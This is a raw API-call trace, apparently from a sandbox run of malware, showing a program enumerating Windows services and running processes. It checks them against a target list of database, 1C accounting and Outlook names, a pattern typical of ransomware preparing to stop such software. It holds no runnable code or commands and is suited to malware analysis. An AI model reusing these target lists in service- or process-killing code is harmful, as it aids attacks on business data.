	[0252.030] EnumServicesStatusExW (in: hSCManager=0x4280900, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xa64, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0252.032] CloseServiceHandle (hSCObject=0x4280900) returned 1
	[0252.034] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0252.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0252.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0252.034] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0252.034] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0252.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0252.034] lstrlenW (lpString="AudioSrv") returned 8
	[0252.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0252.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0252.034] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0252.034] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0252.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0252.034] lstrlenW (lpString="BFE") returned 3
	[0252.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0252.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0252.034] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0252.034] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0252.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0252.034] lstrlenW (lpString="CscService") returned 10
	[0252.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0252.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0252.035] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0252.035] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0252.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0252.035] lstrlenW (lpString="DcomLaunch") returned 10
	[0252.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0252.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0252.035] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0252.035] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0252.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0252.035] lstrlenW (lpString="Dhcp") returned 4
	[0252.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0252.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0252.035] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0252.035] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0252.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0252.035] lstrlenW (lpString="Dnscache") returned 8
	[0252.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0252.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0252.035] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0252.035] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0252.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0252.035] lstrlenW (lpString="eventlog") returned 8
	[0252.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0252.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0252.035] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0252.035] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0252.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0252.036] lstrlenW (lpString="EventSystem") returned 11
	[0252.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0252.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0252.036] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0252.036] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0252.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0252.036] lstrlenW (lpString="gpsvc") returned 5
	[0252.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0252.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0252.036] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0252.036] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0252.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0252.036] lstrlenW (lpString="lmhosts") returned 7
	[0252.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0252.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0252.036] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0252.036] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0252.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0252.036] lstrlenW (lpString="MMCSS") returned 5
	[0252.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0252.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0252.036] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0252.036] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0252.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0252.036] lstrlenW (lpString="MpsSvc") returned 6
	[0252.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0252.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0252.036] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0252.036] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0252.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0252.036] lstrlenW (lpString="nsi") returned 3
	[0252.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0252.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0252.037] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0252.037] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0252.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0252.037] lstrlenW (lpString="PlugPlay") returned 8
	[0252.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0252.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0252.037] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0252.037] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0252.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0252.037] lstrlenW (lpString="Power") returned 5
	[0252.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0252.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0252.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0252.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0252.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0252.037] lstrlenW (lpString="ProfSvc") returned 7
	[0252.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0252.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0252.037] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0252.037] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0252.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0252.037] lstrlenW (lpString="RpcEptMapper") returned 12
	[0252.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0252.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0252.037] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0252.037] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0252.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0252.037] lstrlenW (lpString="RpcSs") returned 5
	[0252.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0252.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0252.038] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0252.038] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0252.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0252.038] lstrlenW (lpString="SamSs") returned 5
	[0252.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0252.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0252.038] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0252.038] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0252.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0252.038] lstrlenW (lpString="Schedule") returned 8
	[0252.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0252.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0252.038] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0252.038] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0252.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0252.038] lstrlenW (lpString="SENS") returned 4
	[0252.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0252.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0252.038] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0252.038] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0252.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0252.038] lstrlenW (lpString="ShellHWDetection") returned 16
	[0252.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0252.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0252.038] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0252.038] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0252.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0252.038] lstrlenW (lpString="Spooler") returned 7
	[0252.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0252.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0252.039] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0252.039] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0252.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0252.039] lstrlenW (lpString="Themes") returned 6
	[0252.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0252.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0252.039] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0252.039] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0252.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0252.039] lstrlenW (lpString="UxSms") returned 5
	[0252.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0252.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0252.039] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0252.039] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0252.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0252.039] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0252.039] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e0
	[0252.040] Process32FirstW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0252.040] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0252.040] lstrlenW (lpString="System") returned 6
	[0252.040] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0252.040] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0252.040] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0252.040] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0252.041] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0252.041] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0252.041] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0252.041] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0252.041] lstrlenW (lpString="smss.exe") returned 8
	[0252.041] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0252.041] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0252.041] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0252.041] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0252.041] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0252.041] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0252.041] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0252.041] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0252.042] lstrlenW (lpString="csrss.exe") returned 9
	[0252.042] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0252.042] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0252.042] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0252.042] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0252.042] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0252.042] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0252.042] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0252.042] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0252.042] lstrlenW (lpString="wininit.exe") returned 11
	[0252.042] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0252.042] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0252.042] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0252.042] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0252.042] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0252.042] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0252.042] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0252.042] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0252.043] lstrlenW (lpString="csrss.exe") returned 9
	[0252.043] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0252.043] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0252.043] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0252.043] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0252.043] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0252.043] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0252.043] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0252.043] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0252.043] lstrlenW (lpString="winlogon.exe") returned 12
	[0252.043] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0252.043] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0252.043] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0252.043] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0252.044] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0252.044] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0252.044] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0252.044] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0252.044] lstrlenW (lpString="services.exe") returned 12
	[0252.044] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0252.044] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0252.044] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0252.044] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0252.044] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0252.044] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0252.044] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0252.044] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0252.044] lstrlenW (lpString="lsass.exe") returned 9
	[0252.044] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0252.044] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0252.044] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0252.044] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0252.044] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0252.045] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0252.045] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0252.045] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0252.045] lstrlenW (lpString="lsm.exe") returned 7
	[0252.045] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0252.045] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0252.045] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0252.045] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0252.045] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0252.045] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0252.045] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0252.045] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.045] lstrlenW (lpString="svchost.exe") returned 11
	[0252.045] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0252.045] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0252.045] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0252.045] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0252.045] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0252.046] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0252.046] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0252.046] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.046] lstrlenW (lpString="svchost.exe") returned 11
	[0252.046] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0252.046] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0252.046] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0252.046] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0252.046] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0252.046] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0252.046] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0252.046] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.046] lstrlenW (lpString="svchost.exe") returned 11
	[0252.047] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0252.047] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0252.047] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0252.047] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0252.047] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0252.047] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0252.047] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0252.047] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.047] lstrlenW (lpString="svchost.exe") returned 11
	[0252.047] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0252.047] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0252.047] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0252.047] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0252.047] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0252.047] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0252.047] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0252.047] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.047] lstrlenW (lpString="svchost.exe") returned 11
	[0252.048] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0252.048] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0252.048] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0252.048] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0252.048] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0252.048] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0252.048] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
